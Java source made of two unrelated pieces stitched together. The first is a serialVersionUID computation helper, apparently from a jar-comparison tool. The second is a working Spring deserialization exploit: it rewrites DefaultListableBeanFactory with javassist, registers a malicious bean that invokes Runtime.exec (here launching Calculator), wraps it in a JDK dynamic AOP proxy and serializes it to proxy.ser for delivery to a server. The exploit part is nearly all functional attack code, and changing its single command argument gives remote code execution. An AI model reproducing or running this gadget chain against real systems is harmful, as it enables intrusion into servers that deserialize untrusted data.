private static SerialVersionUidResult computeSerialVersionUid(
     JarArchiveComparatorOptions options,
     Optional<CtClass> ctClassOptional,
     JarArchiveComparator jarArchiveComparator) {
   SerialVersionUidResult result = new SerialVersionUidResult();
   if (ctClassOptional.isPresent()) {
     CtClass ctClass = ctClassOptional.get();
     if (isCtClassSerializable(options, ctClass, jarArchiveComparator)) {
       result.serializable = true;
       try {
         CtField declaredField = ctClass.getDeclaredField(SERIAL_VERSION_UID);
         Object constantValue = declaredField.getConstantValue();
         if (constantValue instanceof Long) {
           result.serialVersionUid = Optional.of((Long) constantValue);
         }
       } catch (Exception e) {
         try {
           SerialVersionUID.setSerialVersionUID(ctClass);
           CtField declaredField = ctClass.getDeclaredField(SERIAL_VERSION_UID);
           Object constantValue = declaredField.getConstantValue();
           if (constantValue instanceof Long) {
             result.serialVersionUidDefault = Optional.of((Long) constantValue);
           }
           ctClass.removeField(declaredField);
         } catch (Exception ignored) {
         }
       }
       if (!result.serialVersionUidDefault.isPresent()) {
         try {
           CtField declaredFieldOriginal = ctClass.getDeclaredField(SERIAL_VERSION_UID);
           ctClass.removeField(declaredFieldOriginal);
           SerialVersionUID.setSerialVersionUID(ctClass);
           CtField declaredField = ctClass.getDeclaredField(SERIAL_VERSION_UID);
           Object constantValue = declaredField.getConstantValue();
           if (constantValue instanceof Long) {
             result.serialVersionUidDefault = Optional.of((Long) constantValue);
           }
           ctClass.removeField(declaredField);
           ctClass.addField(declaredFieldOriginal);
         } catch (Exception ignored) {
         }
       }
     }
   }
   return result;
 }
  public static void main(String[] arguments) {

    // Get a DefaultListableBeanFactory modified so it has no writeReplace() method
    // We cannot load DefaultListableFactory till we are done modyfing it otherwise will get a
    // "attempted duplicate class definition for name" exception
    System.out.println(
        "[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method");
    Object instrumentedFactory = null;
    ClassPool pool = ClassPool.getDefault();
    try {
      pool.appendClassPath(new javassist.LoaderClassPath(BeanDefinition.class.getClassLoader()));
      CtClass instrumentedClass =
          pool.get("org.springframework.beans.factory.support.DefaultListableBeanFactory");
      // Call setSerialVersionUID before modifying a class to maintain serialization compatability.
      SerialVersionUID.setSerialVersionUID(instrumentedClass);
      CtMethod method = instrumentedClass.getDeclaredMethod("writeReplace");
      // method.insertBefore("{ System.out.println(\"TESTING\"); }");
      method.setName("writeReplaceDisabled");
      Class instrumentedFactoryClass = instrumentedClass.toClass();
      instrumentedFactory = instrumentedFactoryClass.newInstance();
    } catch (Exception e) {
      e.printStackTrace();
    }
    // Modified BeanFactory
    DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) instrumentedFactory;

    // Create malicious bean definition programatically
    System.out.println("[+] Creating malicious bean definition programatically");

    // First we will set up a bean created with a factory method (instead of using the constructor)
    // that will return a java.lang.Runtime
    // Runtime or ProcessBuilder are not serializable so we cannot use them for the
    // MethodInvokingFactory targetObject, but we can use a bean definition instead that wraps
    // these objects as the server will instantiate them
    GenericBeanDefinition runtime = new GenericBeanDefinition();
    runtime.setBeanClass(Runtime.class);
    runtime.setFactoryMethodName("getRuntime"); // Factory Method needs to be static

    // Exploit bean to be registered in the bean factory as the target source
    GenericBeanDefinition payload = new GenericBeanDefinition();
    // use MethodInvokingFactoryBean instead of factorymethod because we need to pass arguments,
    // and can't do that with the unserializable ConstructorArgumentValues
    payload.setBeanClass(MethodInvokingFactoryBean.class);
    payload.setScope("prototype");
    payload.getPropertyValues().add("targetObject", runtime);
    payload.getPropertyValues().add("targetMethod", "exec");
    payload
        .getPropertyValues()
        .add(
            "arguments",
            Collections.singletonList("/Applications/Calculator.app/Contents/MacOS/Calculator"));

    beanFactory.registerBeanDefinition("exploit", payload);

    // Preparing BeanFactory to be serialized
    System.out.println("[+] Preparing BeanFactory to be serialized");
    System.out.println("[+] Nullifying non-serializable members");
    try {

      Field constructorArgumentValues =
          AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues");
      constructorArgumentValues.setAccessible(true);
      constructorArgumentValues.set(payload, null);
      System.out.println(
          "[+] payload BeanDefinition constructorArgumentValues property should be null: "
              + payload.getConstructorArgumentValues());

      Field methodOverrides = AbstractBeanDefinition.class.getDeclaredField("methodOverrides");
      methodOverrides.setAccessible(true);
      methodOverrides.set(payload, null);
      System.out.println(
          "[+] payload BeanDefinition methodOverrides property should be null: "
              + payload.getMethodOverrides());

      Field constructorArgumentValues2 =
          AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues");
      constructorArgumentValues2.setAccessible(true);
      constructorArgumentValues2.set(runtime, null);
      System.out.println(
          "[+] runtime BeanDefinition constructorArgumentValues property should be null: "
              + runtime.getConstructorArgumentValues());

      Field methodOverrides2 = AbstractBeanDefinition.class.getDeclaredField("methodOverrides");
      methodOverrides2.setAccessible(true);
      methodOverrides2.set(runtime, null);
      System.out.println(
          "[+] runtime BeanDefinition methodOverrides property should be null: "
              + runtime.getMethodOverrides());

      Field autowireCandidateResolver =
          DefaultListableBeanFactory.class.getDeclaredField("autowireCandidateResolver");
      autowireCandidateResolver.setAccessible(true);
      autowireCandidateResolver.set(beanFactory, null);
      System.out.println(
          "[+] BeanFactory autowireCandidateResolver property should be null: "
              + beanFactory.getAutowireCandidateResolver());

    } catch (Exception i) {
      i.printStackTrace();
      System.exit(-1);
    }

    // AbstractBeanFactoryBasedTargetSource
    System.out.println(
        "[+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory");
    SimpleBeanTargetSource targetSource = new SimpleBeanTargetSource();
    targetSource.setTargetBeanName("exploit");
    targetSource.setBeanFactory(beanFactory);

    // JdkDynamicAopProxy (invocationhandler)
    System.out.println(
        "[+] Creating the handler and configuring the target source pointing to our malicious bean factory");
    AdvisedSupport config = new AdvisedSupport();
    config.addInterface(Contact.class); // So that the factory returns a JDK dynamic proxy
    config.setTargetSource(targetSource);
    DefaultAopProxyFactory handlerFactory = new DefaultAopProxyFactory();
    InvocationHandler handler = (InvocationHandler) handlerFactory.createAopProxy(config);

    // Proxy
    System.out.println(
        "[+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler");
    Contact proxy =
        (Contact)
            Proxy.newProxyInstance(
                Contact.class.getClassLoader(), new Class<?>[] {Contact.class}, handler);

    // System.out.println("[+] Trying exploit locally " + proxy.getName());

    // Now lets serialize the proxy
    System.out.println("[+] Serializating malicious proxy");
    try {
      FileOutputStream fileOut = new FileOutputStream("proxy.ser");
      ObjectOutputStream outStream = new ObjectOutputStream(fileOut);
      outStream.writeObject(proxy);
      outStream.close();
      fileOut.close();
    } catch (IOException i) {
      i.printStackTrace();
    }
    System.out.println("[+] Successfully serialized: " + proxy.getClass().getName());
  }